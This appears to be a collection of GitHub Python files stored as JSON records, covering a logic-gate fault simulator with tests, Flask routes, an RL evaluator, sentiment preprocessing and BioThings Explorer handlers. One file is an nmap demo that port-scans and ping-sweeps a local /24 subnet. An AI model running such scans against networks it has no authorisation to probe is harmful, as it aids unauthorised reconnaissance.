return ~super(NorGate, self).get_logic()\n\n\nclass NotGate(Gate):\n def __init__(self, name, inputs=[]):\n super(NotGate, self).__init__(name, inputs)\n self.type = \"NOT\"\n\n def logic(self):\n self.value_new = ~self.input_nodes[0].value\n\n def get_logic(self):\n return ~self.input_nodes[0].value\n\n\nclass XorGate(Gate):\n def __init__(self, name, inputs=[]):\n super(XorGate, self).__init__(name, inputs)\n self.type = \"XOR\"\n\n def logic(self):\n count = self.count\n if count.one > 1:\n return Value(0)\n elif count.unknown >= 1:\n return Value(\"U\")\n elif count.one == 1:\n return Value(1)\n elif count.d == 1 and count.dprime == 1:\n return Value(1)\n elif count.d == 1:\n return Value(\"D\")\n elif count.dprime == 1:\n return Value(\"D'\")\n else:\n return Value(0)\n\n def logic(self):\n count = self.count\n if count.one > 1:\n return Value(0)\n elif count.unknown >= 1:\n return Value(\"U\")\n elif count.one == 1:\n return Value(1)\n elif count.d == 1 and count.dprime == 1:\n return Value(1)\n elif count.d == 1:\n return Value(\"D\")\n elif count.dprime == 1:\n return Value(\"D'\")\n else:\n return Value(0)\n\n\nclass XnorGate(XorGate):\n def __init__(self, name, inputs=[]):\n super(XorGate, self).__init__(name, inputs)\n self.type = \"XNOR\"\n\n def logic(self):\n super(XnorGate, self).logic()\n self.value_new = ~self.value_new\n\n def get_logic(self):\n return ~super(XnorGate, self).get_logic()\n # super().logic()\n # return ~self.value_new\n\n\nclass BuffGate(Gate):\n def __init__(self, name, inputs=[]):\n super(BuffGate, self).__init__(name, inputs)\n self.type = \"BUFF\"\n\n def logic(self):\n self.value_new = self.input_nodes[0].value\n\n def get_logic(self):\n return self.input_nodes[0].value\n\n\nclass LogicTest(unittest.TestCase):\n def setUp(self):\n super(LogicTest, self).setUp()\n self.zero = Node(Gate('zero'))\n self.zero.value = Value(0)\n self.one = Node(Gate('one'))\n self.one.value = Value(1)\n self.unknown = Node(Gate('unknown'))\n self.unknown.value = Value('U')\n self.sa0 = Node(Gate('sa0'))\n self.sa0.value = Value('D')\n self.sa1 = Node(Gate('sa1'))\n self.sa1.value = Value(\"D'\")\n\n\nclass AndTest(LogicTest):\n def setUp(self):\n super(AndTest, self).setUp()\n self.node = Node(AndGate('and'))\n\n def test_1(self):\n self.node.input_nodes = [self.zero, self.one, self.sa1]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 0, self.node)\n\n def test_2(self):\n self.node.input_nodes = [self.sa1, self.sa0]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 0, self.node)\n\n def test_3(self):\n self.node.input_nodes = [self.sa1, self.one]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, \"D'\", self.node)\n\n def test_4(self):\n self.node.input_nodes = [self.sa0, self.one]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, \"D\", self.node)\n\n\nclass NandTest(LogicTest):\n def setUp(self):\n super(NandTest, self).setUp()\n self.node = Node(NandGate('nand'))\n\n def test_1(self):\n self.node.input_nodes = [self.zero, self.one, self.sa1]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 1, self.node)\n\n def test_2(self):\n self.node.input_nodes = [self.sa1, self.sa0]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 1, self.node)\n\n def test_3(self):\n self.node.input_nodes = [self.sa1, self.one]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, \"D\", self.node)\n\n def test_4(self):\n self.node.input_nodes = [self.sa0, self.one]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, \"D'\", self.node)\n\n\nclass OrTest(LogicTest):\n def setUp(self):\n super(OrTest, self).setUp()\n self.node = Node(OrGate('nand'))\n\n def test_1(self):\n self.node.input_nodes = [self.zero, self.one, self.sa1]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 1, self.node)\n\n def test_2(self):\n self.node.input_nodes = [self.sa1, self.sa0]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 1, self.node)\n\n def test_3(self):\n self.node.input_nodes = [self.sa1, self.zero]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, \"D'\", self.node)\n\n def test_4(self):\n self.node.input_nodes = [self.sa0, self.sa1]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 1, self.node)\n\n def test_5(self):\n self.node.input_nodes = [self.sa0, self.unknown]\n self.node.logic()\n self.node.update()\n self.assertEqual(self.node, 'U', self.node)\n\n\n# class XorTest(LogicTest):\n# def setUp(self):\n# super(XorTest, self).setUp()\n# self.node = Node(XorGate('xor'))\n#\n# def test_1(self):\n# self.node.input_nodes = [self.zero, self.one, self.sa1]\n# self.node.logic()\n# self.node.update()\n# self.assertEqual(self.node, \"D\", self.node)\n#\n# def test_2(self):\n# self.node.input_nodes = [self.sa1, self.sa0]\n# self.node.logic()\n# self.node.update()\n# self.assertEqual(self.node, 1, self.node)\n#\n# def test_3(self):\n# self.node.input_nodes = [self.sa1, self.zero]\n# self.node.logic()\n# self.node.update()\n# self.assertEqual(self.node, \"D'\", self.node)\n\n# def test_4(self):\n# self.node.input_nodes = [self.sa1, self.sa1]\n# self.node.logic()\n# self.node.update()\n# self.assertEqual(self.node, 0, self.node)\n#\n# def test_5(self):\n# self.node.input_nodes = [self.sa0, self.unknown]\n# self.node.logic()\n# self.node.update()\n# self.assertEqual(self.node, 'U', self.node)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"emohammed688/Fault-Sim","sub_path":"nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":15887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5393852100","text":"# -*- coding: utf-8 -*-\n\nimport nmap\n\n\ndef port_scan():\n print (\"---------------单线程端口扫描-----------------\")\n nm = nmap.PortScanner()\n nm.scan(hosts=\"192.168.199.1/24\", ports=\"21-80\")\n for host in nm.all_hosts():\n print (\"Host : %s (%s)\" % (host, nm[host].hostname()))\n print (\"\\tState : %s \" % nm[host].state())\n for protocol in nm[host].all_protocols():\n print (\"\\t\\tProtocols : %s \" % protocol)\n prots = nm[host][protocol].keys()\n prots.sort()\n for prot in prots:\n print (\"\\t\\tProt : %s \\t state : %s \" % (prot, nm[host][protocol][int(prot)]['state']))\n\n\ndef port_state():\n print (\"---------------在线主机扫描-----------------\")\n nm_sp = nmap.PortScanner()\n nm_sp.scan(hosts=\"192.168.199.1/24\", arguments=\"-sP\")\n hosts_list = [(x, nm_sp[x]['status']['state']) for x in nm_sp.all_hosts()]\n for host, statu in hosts_list:\n print (host, \" : \", statu)\n\n\ndef call_back():\n return \"pass\"\n\n\ndef port_scan_async():\n print (\"---------------多线程端口扫描-----------------\")\n nmaps = nmap.PortScannerAsync()\n nmaps.scan(hosts=\"192.168.199.1/24\", ports=\"21-80\", callback=call_back, sudo=False)\n for host_list in nmaps.all_hosts():\n print (\"Host : %s (%s)\" % (host_list, nmaps[host_list].hostname()))\n print (\"State : %s \" % nmaps[host_list].state())\n for protocols in nmaps[host_list].all_protocols():\n print (\"\\tProtocols : %s \" % protocols)\n prots_list = nmaps[host_list][protocols].keys()\n prots_list.sort()\n for prots in prots_list:\n print (\"\\t\\tProt : %s \\t state : %s \" % (prots, nmaps[host_list][protocols][int(prots)]['state']))\n\n\nif __name__ == \"__main__\":\n port_scan()\n port_state()\n","repo_name":"johnsonliu33/myPythonProject","sub_path":"socket_nmap/nmap_demo/nmap_scan.py","file_name":"nmap_scan.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30919980243","text":"from flask import Blueprint\n\nfrom views.todo_item import AddNewTodoItemView, ListAllTodoItems, GetTodoItemsView, DeleteTodoItemsView, \\\n UpdateTodoItemView, ToggleTodoStatusView\nfrom views.todo_list import ListAllTodoIListsView, TodoListGetUpdateDeleteView, AddNewTodoListView, SearchTodoLists\n\ntodo_items_api = Blueprint('todo_items_api', 'todo_items_api')\ntodo_lists_api = Blueprint('todo_lists_api', 'todo_lists_api')\n\n\ntodo_items_api.add_url_rule('/new/', view_func=AddNewTodoItemView.as_view('new-todo-items'))\ntodo_items_api.add_url_rule('/all/', view_func=GetTodoItemsView.as_view('list-all-td-items'))\ntodo_items_api.add_url_rule('delete/', view_func=DeleteTodoItemsView.as_view('delete-todo-item'))\ntodo_items_api.add_url_rule('update/', view_func=UpdateTodoItemView.as_view('update-todo-item'))\ntodo_items_api.add_url_rule('all/', view_func=ListAllTodoItems.as_view('list-all-todo-items'))\ntodo_items_api.add_url_rule('/done', view_func=ToggleTodoStatusView.as_view('toggle-todo-done'))\n\n\ntodo_lists_api.add_url_rule('/all/', view_func=ListAllTodoIListsView.as_view('list-all-todos'))\ntodo_lists_api.add_url_rule('//', view_func=TodoListGetUpdateDeleteView.as_view('g-d-u-todo-list'))\ntodo_lists_api.add_url_rule('/new-list/', view_func=AddNewTodoListView.as_view('add-new-todo-list'))\ntodo_lists_api.add_url_rule('/search/', view_func=SearchTodoLists.as_view('search-todo-lists'))\n","repo_name":"sophialittlejohn/flask-todo-app","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7253978943","text":"#import Environments\nimport numpy as np\n\n\nclass Evaluation:\n \n \"Class for evaluating baselines\"\n \"\"\"\n \n\n Parameters\n ----------\n env : object of gym class environment\n max_skills : int\n max_skills per exercise\n blocks : list\n describes blockstructure\n env_number : int\n describes which kind of envirnoment is used\n mastery_threshold : float, optional\n Describes when a skill with probabilistic learning state counts as mastered\n The default is 0.95.\n\n \"\"\"\n \n def __init__(self,env,max_skills,blocks,env_number,mastery_threshold = 0.95):\n \"Inits an object of class Evaluation\"\n self.env = env\n self.env_number = env_number\n self.max_skills = max_skills\n self.blocks = blocks\n self.mastery_threshold = mastery_threshold\n \n def evaluate(self,action_func,eps,curriculum=False):\n \"\"\"\n Performs the evaluation given an environment, a class and an algorithm\n Parameters\n ----------\n action_func : function\n Defines which policy should be used for evaluation\n eps : int\n Number of episodes that are run through\n curriculum : boolean, optional\n defines if a curriculum should also be shown & saved. The default is False.\n \n Returns\n -------\n med_reward : int\n Average reward the policy achieved\n \n curr: list\n list of skills that were queried in the last episode\n other: list\n consists of further interesting information (evaluation array, learned skills, std)\n \n \n \"\"\"\n eval_arr = []\n skill_arr = []\n for episode in range(eps):\n obs = self.env.reset() \n done = False\n score = 0\n if curriculum and episode == eps-1:\n if isinstance(action_func,str):\n curr = np.full((self.env.learn_length,self.max_skills),None)\n else:\n curr = np.full((self.env.get_attr(\"learn_length\")[0],self.max_skills),None) \n i = 0\n while not done:\n if action_func==\"random\":\n action = self.random(obs) \n elif action_func==\"greedy_single_pol\":\n action = self.greedy_single_pol(obs) \n elif action_func==\"greedy_block_pol\":\n action = self.greedy_block_pol(obs) \n else:\n action,_ = action_func(obs)\n obs, reward, done, info = self.env.step(action)\n if curriculum and episode == eps-1:\n if isinstance(action_func,str):\n skills = np.where(self.env.exercise_types[action,:-1])[0]\n else:\n skills = np.where(self.env.get_attr(\"exercise_types\")[0][action[0],:-1])[0]\n curr[i,:len(skills)]=skills\n i += 1\n score += reward\n eval_arr.append(score)\n skill_arr.append(sum(self.env.state if isinstance(action_func,str) else info[0][\"state\"]))\n med_skill = sum(skill_arr)/len(skill_arr)\n med_reward=sum(eval_arr)/len(eval_arr)\n if curriculum:\n return med_reward, curr,[eval_arr,np.std(eval_arr),med_skill]\n else:\n return med_reward, curr,[eval_arr,np.std(eval_arr),med_skill]\n \n\n def random(self,obs):\n \"\"\"\n Chooses a random possible action.\n \n\n Parameters\n ----------\n obs: list (n_skills)\n current observation\n \n Returns\n -------\n result : int\n index of the exercisetype that should be performed (=action)\n\n\n \"\"\"\n return self.env.action_space.sample()\n \n\n\n def greedy_single_pol(self,obs):\n \"\"\"\n Provides as output the endcoded action for giving a student the action \n that includes only his \"lowest\" (namingwise) not learned skill\n (depending if the function gets the probabilistic or true learning states learned\n means over the mastery threshold or =1)\n eg obs = [0,0,0] -> student will get an exercise that includes only skill 0\n if all skills are learned a random action is chosen\n\n Parameters\n ----------\n obs: list (n_skills)\n current observation\n\n Returns\n -------\n result : int\n index of the exercisetype that should be performed (=action)\n\n \"\"\"\n if self.env_number in [4,6]:\n obs = self.env.prob_state\n ex_array = self.env.exercise_types\n if not np.all(obs>self.mastery_threshold):\n first_one = np.where(obs \n student will get an exercise that includes two skills from block 0 (the lowest unlearned, rest random)\n so exercise_type [1,1,0,0,0,0]\n if all skills are learned a random action is chosen\n\n\n Parameters\n ----------\n obs: list (n_skills)\n current observation\n\n Returns\n -------\n result : int\n index of the exercisetype that should be performed (=action)\n\n \"\"\"\n \n \n if self.env_number in [4,6]:\n obs = self.env.prob_state\n ex_array = self.env.exercise_types\n if not np.all(obs>self.mastery_threshold):\n first_one = np.where(obs log.txt')\nif sys.argv[1] != \"nomobile\":\n\tprint(\"MobileData\")\n\tlength = len(list(mobilepd.itertuples()))\n\tprint(length)\n\tlast_percent_reported = -1.0\n\tfor index, mb in mobilepd.iterrows():\n\t\t#os.system('echo '+str(index)+'>> log.txt')\n\t\tx.append(getvector(mb['review']))\n\t\ty.append(mb['sentiment'])\n\t\ti+=1\n\t\tpercent = int((float(i)/float(length)) * 100.0)\n\t\tif percent != last_percent_reported:\n\t\t\tsys.stdout.write(\"%s%%...\" % percent)\n\t\t\tsys.stdout.flush()\n\t\t\tlast_percent_reported = percent\n\t#os.system('echo saving_data >> log.txt')\n\tpickle.dump(x, open('x_vec.pickle', 'wb'))\n\tpickle.dump(y, open('y_vec.pickle', 'wb'))\n\n\n#os.system('echo \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\appdata\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\; >> log.txt')\nprint(\"AppData\")\nlength = len(list(apppd.itertuples()))\nlast_percent_reported = -1.0\nprint(length)\nj = 0\nfor index, mb in apppd.iterrows():\n\t#os.system('echo '+str(index)+'>> log.txt')\n\tx.append(getvector(mb['review']))\n\ty.append(mb['sentiment'])\n\ti+=1\n\tpercent = int((float(j)/float(length)) * 100.0)\n\tif percent != last_percent_reported:\n\t\tsys.stdout.write(\"%s%%...\" % percent)\n\t\tsys.stdout.flush()\n\t\tlast_percent_reported = percent\n\tj+=1\n#os.system('echo saving_data >> log.txt')\npickle.dump(x, open('x_vec.pickle', 'wb'))\npickle.dump(y, open('y_vec.pickle', 'wb'))\n\n\n\n#os.system('echo \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\train\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\; >> log.txt')\nprint(\"Train\")\nlength = len(list(train.itertuples()))\nprint(length)\nj = 0\nfor index, mb in train.iterrows():\n\t#os.system('echo '+str(index)+'>> log.txt')\n\tx.append(getvector(mb['review']))\n\ty.append(mb['sentiment'])\n\ti+=1\n\t\n\tpercent = int((float(j)/float(length)) * 100.0)\n\tif percent != last_percent_reported:\n\t\tsys.stdout.write(\"%s%%...\" % percent)\n\t\tsys.stdout.flush()\n\t\tlast_percent_reported = percent\n\tj+=1\n#os.system('echo saving_data >> log.txt')\npickle.dump(x, open('x_vec.pickle', 'wb'))\npickle.dump(y, open('y_vec.pickle', 'wb'))\n\n#os.system(\"echo \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"+str(i)+\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\; >> log.txt\")\n\n\n#os.system(\"echo \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\test\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\; >> log.txt\")\nprint(\"Test\")\nlength = len(list(test.itertuples()))\nj = 0\nfor index, mb in test.iterrows():\n\t#os.system('echo '+str(index)+'>> log.txt')\n\tx_test.append(getvector(mb['review']))\n\tpercent = int((float(j)/float(length)) * 100.0)\n\tif percent != last_percent_reported:\n\t\tsys.stdout.write(\"%s%%...\" % percent)\n\t\tsys.stdout.flush()\n\t\tlast_percent_reported = percent\n\tj+=1\n#os.system('echo saving_data >> log.txt')\npickle.dump(x_test, open('x_test_vec.pickle', 'wb'))\nprint(time()-start)\n#os.system('echo saved >> log.txt')\n#os.system(\"echo 'Done, all good.' >> log.txt\")\n#os.system(\"echo '\"+str(time()-start)+\"' >> log.txt\")\n","repo_name":"kalradivyanshu/SentimentAnalyser","sub_path":"tfreadydatavec.py","file_name":"tfreadydatavec.py","file_ext":"py","file_size_in_byte":4279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27765597562","text":"import json\nimport operator\nfrom collections import defaultdict\nfrom tornado.escape import json_encode\nfrom .basehandler import BaseHandler\nimport os, sys\nfrom os import path\nimport networkx as nx\n\nlib_path = os.path.abspath(os.path.join('..', 'biothings_explorer'))\nsys.path.append( path.dirname( path.dirname( path.abspath(lib_path))))\nfrom biothings_explorer import BioThingsExplorer\n\nbt_explorer = BioThingsExplorer()\n\ncolor_dict = {\n 'gene': 'rgba(55, 230, 84, 0.93)',\n 'chemical': 'rgba(230, 55, 218, 0.93)', \n 'protein': 'rgba(55, 227, 230, 0.6)',\n 'variant': 'rgba(230, 174, 55, 0.83)', \n 'anatomy': 'rgba(86, 28, 144, 0.3)',\n 'phenotype': 'rgba(28, 86, 144, 0.3)', \n 'pathway': 'rgba(230, 55, 116, 0.63)',\n 'disease': 'rgba(166, 55, 230, 0.84)', \n 'transcript': 'rgba(100, 88, 77, 0.4)',\n 'organism': 'rgba(10, 133, 177, 0.4)',\n 'structure': 'rgba(8, 233, 7, 0.4)', \n 'ontology': 'rgba(99,123,4,0.4)',\n 'bioassay': \"rgba(100, 100, 100, 0.3)\"}\n\ndef label2color(label):\n uri = bt_explorer.registry.prefix2uri(label)\n if uri:\n return color_dict[bt_explorer.registry.bioentity_info[uri]['semantic type']]\n else:\n return \"rgba(250, 0, 0, 1.0)\"\n\ndef find_edge_label(G, source, target, relation=None):\n \"\"\"\n Given a MultiDiGraph, together with a source, target pair\n Return the edge label info associated with the (source, target) pair\n 1) If only one label exists, return the label\n 2) When multiple label exists, if relation parameter is in the label(s), return the relation parameter\n 3) If relation parameter not in the labels, return None\n\n Parmas\n ======\n G: (multiDiGraph)\n a multiDiGraph containaing nodes, edges and labels\n source: (multiDiGraph node)\n target: (multiDiGraph node)\n relation:\n The label given by user, default is None\n\n Return\n ======\n label info for the source target pair\n \"\"\"\n if (source, target) not in G.edges():\n print('The given pair source-target pair ({}, {}) is not in the graph!'.format(source, target))\n return None\n edge_labels = [v['label'] for k, v in G.get_edge_data(source, target).items()]\n if len(edge_labels) == 1:\n return edge_labels[0]\n elif len(edge_labels) > 1 and not relation:\n return edge_labels\n elif len(edge_labels) > 1 and relation and relation in edge_labels:\n return relation\n else:\n return None\n\n###########################################################################\n# Sample Input: (\n# [('ncbigene', 'http://mygene.info/v1/'),\n# ('ncbigene', 'http://myvariant.info/v1/'),\n# ('http://mygene.info/v1/', 'hgnc.symbol'),\n# ('http://myvariant.info/v1/', 'hgnc.symbol')])\n# The input is the edges returned from networkx\n# We need to take the input and feed it into plotly sankey plot\n# The output which plotly sankey plot accepts looks like this:\n# Sample Output:\n# {\n# \"label\": [\"ncbigene\", \"MyGene.info/v1/query\",\n# \"MyVariant.info/v1/query\", \"hgnc.symbol\"],\n# \"source\": [0, 0, 1, 2], # represent the index in label\n# \"target\": [1, 2, 3, 3],\n# \"value\": [1,1,1,1] # edge weight, this doesn't apply for our use case\n# } \n# Issue: plotly fails to work if there are too many nodes\n###########################################################################\n\n\ndef networkx_to_plotly(edges, duplicates_not_allowed=[]):\n # initialize the output json doc\n output_json = {'labels': [], 'colors': [], 'source': [],\n 'target': [], 'value': [], 'edge_labels': []}\n # loop through each edge, load the first element into source\n # and load the second element into target\n # load all unique elements to the nodes\n idx = 0\n input_idx = {}\n output_idx = {}\n for _edge in edges:\n if _edge[0] in duplicates_not_allowed:\n if _edge[0] not in output_json['labels']:\n input_idx[_edge[0]] = idx\n output_idx[_edge[0]] = idx\n idx += 1\n output_json['labels'].append(_edge[0])\n output_json['colors'].append(label2color(_edge[0]))\n # handle cases where the node is allowed to be duplicate, and\n # the node has not been included in the input before\n elif _edge[0] not in input_idx:\n input_idx[_edge[0]] = idx\n idx += 1\n # create a new entry for this node in the plotly graph\n output_json['labels'].append(_edge[0])\n output_json['colors'].append(label2color(_edge[0]))\n output_json['source'].append(input_idx[_edge[0]])\n if _edge[1] in duplicates_not_allowed:\n if _edge[1] not in output_json['labels']:\n input_idx[_edge[1]] = idx\n output_idx[_edge[1]] = idx\n idx += 1\n output_json['labels'].append(_edge[1])\n output_json['colors'].append(label2color(_edge[1]))\n elif _edge[1] not in output_idx:\n output_idx[_edge[1]] = idx\n idx += 1\n output_json['labels'].append(_edge[1])\n output_json['colors'].append(label2color(_edge[1]))\n output_json['target'].append(output_idx[_edge[1]])\n output_json['edge_labels'].append(_edge[2])\n if type(_edge[2]) == list:\n output_json['value'].append(1 * len(_edge[2]))\n else:\n output_json['value'].append(1)\n return output_json\n\n########################################################################### \n# This function checks whether a node belongs to a specific data type, \n# e.g. api, endpoint, or bio-entity\n# input: node_name\n# output: {id: node_name, type: data_type}\n########################################################################### \ndef construct_cytoscape_node(node, entity_list=[], api_list=[], endpoint_list=[]):\n if node in entity_list:\n return {\"data\": {\"id\": node, \"type\": \"bio-entity\", \"level\": 2}}\n elif node in api_list:\n return {\"data\": {\"id\": node, \"type\": \"api\", \"level\": 0}}\n elif node in endpoint_list:\n return {\"data\": {\"id\": node, \"type\": \"endpoint\", \"level\": 1}}\n else:\n return {\"data\": {\"id\": node, \"type\": \"value\"}}\n\n########################################################################### \n# This function takes a edge in the form of tuple, and convert it to the \n# form accepted by cytoscape.js \n# Sample input: (node1, node2)\n# Sample output: {\"data\": {\"source\": node1, \"target\": node2}}\n########################################################################### \ndef construct_cytoscape_edge(edge, _id=None, level = 0):\n result = {\"data\": {\"source\": edge[0], \"target\": edge[1]}}\n if _id:\n result['data']['label'] = _id\n if level != 0:\n result['group'] = 'edges'\n return result\n\n\ndef construct_cytoscape_node_data(node, type=\"value\", level=0):\n result = {\"data\": {\"id\": node, \"type\": \"value\", \"level\": level}}\n if level == 0:\n return result\n else:\n result['group'] = 'nodes'\n return result\n\n\ndef networkx_to_cytoscape(edges, entity_list=[], api_list=[], endpoint_list=[]):\n elements = []\n unique_nodes = []\n for _edge in edges:\n for _node in _edge:\n if _node not in unique_nodes:\n unique_nodes.append(_node)\n elements.append(construct_cytoscape_node(_node, entity_list=entity_list, api_list=api_list, endpoint_list=endpoint_list))\n elements.append(construct_cytoscape_edge(_edge))\n return elements\n\n\n\nclass ConnectingPathHandler(BaseHandler):\n def get(self):\n start = self.get_argument('start')\n end = self.get_argument('end')\n max_api = self.get_argument('max_api')\n paths = bt_explorer.find_path(start,\n end,\n max_no_api_used=int(max_api),\n dictformat=False,\n display_graph=False)\n edges = []\n for _edge in bt_explorer.temp_G.edges():\n edges.append((_edge[0],\n _edge[1],\n find_edge_label(bt_explorer.temp_G,\n _edge[0],\n _edge[1])))\n no_duplicate = [_item['prefix'] for _item in list(bt_explorer.registry.bioentity_info.values())] + list(bt_explorer.registry.endpoint_info.keys())\n plotly_results = networkx_to_plotly(edges,\n duplicates_not_allowed=no_duplicate\n )\n if paths:\n self.write(json.dumps({\"plotly\": plotly_results, \"paths\": paths}))\n else:\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, 'error message': \"No path could be found connecting from '\" + start + \"' to '\" + end + \" using \" + max_api + \" api!\\n Please try other input and output or try multi edge!\"}))\n self.finish\n\nclass ConnectingSemanticToIDHandler(BaseHandler):\n def get(self):\n start = self.get_argument('start')\n end = self.get_argument('end')\n max_api = self.get_argument('max_api')\n start_ids = self.get_query_argument('start_ids', [])\n excluded_nodes = self.get_query_argument('excluded_nodes', [])\n if excluded_nodes:\n excluded_nodes = json.loads(excluded_nodes)\n if start_ids:\n start_ids = json.loads(start_ids)\n if not start_ids:\n for _item in bt_explorer.registry.bioentity_info.values():\n if (_item['semantic type'] == start\n and _item['attribute type'] == 'ID'):\n start_ids.append(_item['prefix'])\n edges = []\n full_paths = []\n inputs = []\n predicates = set()\n apis = set()\n nodes = set()\n for _input in start_ids:\n paths = bt_explorer.find_path(_input,\n end,\n max_no_api_used=int(max_api),\n dictformat=False,\n display_graph=False,\n excluded_nodes=excluded_nodes)\n if paths:\n inputs.append(_input)\n full_paths += paths\n for _edge in bt_explorer.temp_G.edges():\n edge_label = find_edge_label(bt_explorer.temp_G,\n _edge[0],\n _edge[1])\n if _edge[0].startswith('http'):\n apis.add(_edge[0])\n else:\n nodes.add(_edge[0])\n if _edge[1].startswith('http'):\n apis.add(_edge[1])\n elif _edge[1] != end:\n nodes.add(_edge[1])\n # handle cases where there are multiple edge labels\n if type(edge_label) == list:\n edge_label = edge_label[0]\n if edge_label.startswith(\"assoc:\"):\n edge_label = edge_label[6:]\n edges.append((_edge[0],\n _edge[1],\n edge_label))\n if edge_label != \"has_input\":\n predicates.add(edge_label)\n no_duplicate = [_item['prefix'] for _item in list(bt_explorer.registry.bioentity_info.values())] + list(bt_explorer.registry.endpoint_info.keys())\n plotly_results = networkx_to_plotly(edges,\n duplicates_not_allowed=no_duplicate\n )\n if full_paths:\n self.write(json.dumps({\"plotly\": plotly_results,\n \"paths\": full_paths,\n \"inputs\": inputs,\n \"predicates\": list(predicates),\n \"outputs\": [end],\n \"nodes\": list(nodes),\n \"apis\": list(apis)}))\n else:\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, 'error message': \"No path could be found connecting from '\" + start + \"' to '\" + end + \" using \" + max_api + \" api!\\n Please try other input and output or try multi edge!\"}))\n self.finish()\n\nclass ApiMapHandler(BaseHandler):\n def get(self):\n bio_entity_list = [_item['prefix'] for _item in list(bt_explorer.registry.bioentity_info.values())]\n api_list = bt_explorer.registry.api_info.keys()\n endpoint_list = bt_explorer.registry.endpoint_info.keys()\n cytoscape_results = networkx_to_cytoscape(bt_explorer.api_map.edges(), bio_entity_list, api_list, endpoint_list)\n self.write(json.dumps(cytoscape_results))\n\nclass ApiMapHandlerSankey(BaseHandler):\n def get(self):\n plotly_results = networkx_to_plotly(bt_explorer.api_map.edges(), [_item['prefix'] for _item in list(bt_explorer.registry.bioentity_info.values())])\n self.write(json.dumps({\"plotly\": plotly_results}))\n\nclass EndpointHandler(BaseHandler):\n def get(self):\n endpoint_name = self.get_argument('endpoint')\n edges = []\n outputs = bt_explorer.api_map.successors(endpoint_name)\n edges.extend([(endpoint_name, _output, find_edge_label(bt_explorer.api_map, endpoint_name, _output)) for _output in outputs])\n inputs = bt_explorer.api_map.predecessors(endpoint_name)\n inputs = [_input for _input in inputs if bt_explorer.api_map.node[_input]['type'] == 'bioentity']\n edges.extend([(_input, endpoint_name, find_edge_label(bt_explorer.api_map, _input, endpoint_name)) for _input in inputs])\n plotly_results = networkx_to_plotly(edges, duplicates_not_allowed=bt_explorer.registry.endpoint_info.keys())\n self.write(json.dumps({\"plotly\": plotly_results}))\n\nclass MetaDataHandler(BaseHandler):\n def get(self, type):\n if type == 'apis':\n self.write(json.dumps({'api': sorted(list(bt_explorer.registry.api_info.keys()))}))\n elif type == 'endpoints':\n self.write(json.dumps({'endpoint': sorted(list(bt_explorer.registry.endpoint_info.keys()))}))\n elif type == 'bioentities':\n # group all bioentity ids together based on their semantic type\n bioentity_dict = defaultdict(list)\n for _item in bt_explorer.registry.bioentity_info.values():\n bioentity_dict[_item['semantic type']].append(_item['prefix'])\n for k,v in bioentity_dict.items():\n bioentity_dict[k] = sorted(v)\n self.write(json_encode({'bioentity': bioentity_dict}))\n elif type == 'bioentity_input':\n bio_entity_list = [_item['prefix'] for _item in list(bt_explorer.registry.bioentity_info.values())]\n inputs = [_edge[0] for _edge in bt_explorer.api_map.edges()]\n bioentity_inputs = [_entity for _entity in bio_entity_list if _entity in inputs]\n self.write(json.dumps({'input': bioentity_inputs}))\n\n\n###########################################################################\n# Sample Input: {path=[\"hgnc.symbol\", \n# \"http://mygene.info/v1/query\", \n# \"ncbigen\"]\n# input = [\"CDK7\", \"CXCR4\"]}\n# Sample Output: cytoscape.js format\n# [{\"data\": {\"id\": \"hgnc.symbol:CKD7\"}}.\n# {\"data\": {\"id\": \"hgnc.symbol:CXCR4\"}},\n# {\"data\": {\"id\": \"ncbigene:1022\"}},\n# {\"data\": {\"target\": \"ncbigene:1022\", \n# \"source\": \"hgnc.symbol:CDK7\"}}]\n########################################################################### \nclass FindOutputHandler(BaseHandler):\n def get(self):\n path = json.loads(self.get_argument('path'))\n print('path',path)\n input_prefix, _, output_prefix = path\n # the input field by default is a list(even if it only contains one item)\n _input = json.loads(self.get_argument('input'))\n print('input',_input)\n # consider adding a level parameter here\n level = int(self.get_argument('level'))\n print(level)\n transformed_path = bt_explorer.path_conversion(path)\n #start_point = [path[0] + ':' + _item for _item in _input]\n G_output = bt_explorer.find_output(transformed_path, _input, display_graph=False)\n nodes = G_output.nodes()\n outputs = [_node.split(':')[1] for _node in nodes if _node.startswith(output_prefix)]\n cytoscape_results = []\n for _node in nodes:\n if _node.startswith(input_prefix + ':'):\n cytoscape_results.append(construct_cytoscape_node_data(_node, level=level))\n elif 